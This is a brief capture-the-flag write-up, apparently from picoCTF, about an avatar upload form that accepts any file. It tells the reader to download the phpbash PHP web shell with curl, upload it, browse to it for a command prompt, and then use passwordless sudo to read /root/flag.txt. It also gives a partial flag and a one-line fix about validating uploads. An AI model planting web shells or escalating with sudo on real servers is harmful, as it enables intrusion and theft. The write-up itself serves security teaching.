Description
The profile-picture upload endpoint accepts any file, drops it in `/uploads`, and serves it back. Upload a PHP web shell, browse to it, and use sudo to read /root/flag.txt.
Setup
Download a PHP web shell such as phpbash.php.
Upload it via the avatar form and note the returned path (e.g., uploads/phpbash.php).
curl -O https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
sudo ls /root
sudo cat /root/flag.txt
Solution
- Step 1Gain a shellAfter uploading phpbash.php, browse to `http://host/uploads/phpbash.php` to get a command prompt. You land inside /var/www/html/uploads.
- Step 2Escalate with sudoUse standard Linux commands (`cd /`, `ls`, etc.). The web user has sudo without a password, so `sudo ls /root` reveals flag.txt and `sudo cat /root/flag.txt` prints the flag.
Flag
picoCTF{wh47_c4n_u_d0_wPHP_5f89...}
File uploads should validate type and prevent arbitrary execution paths.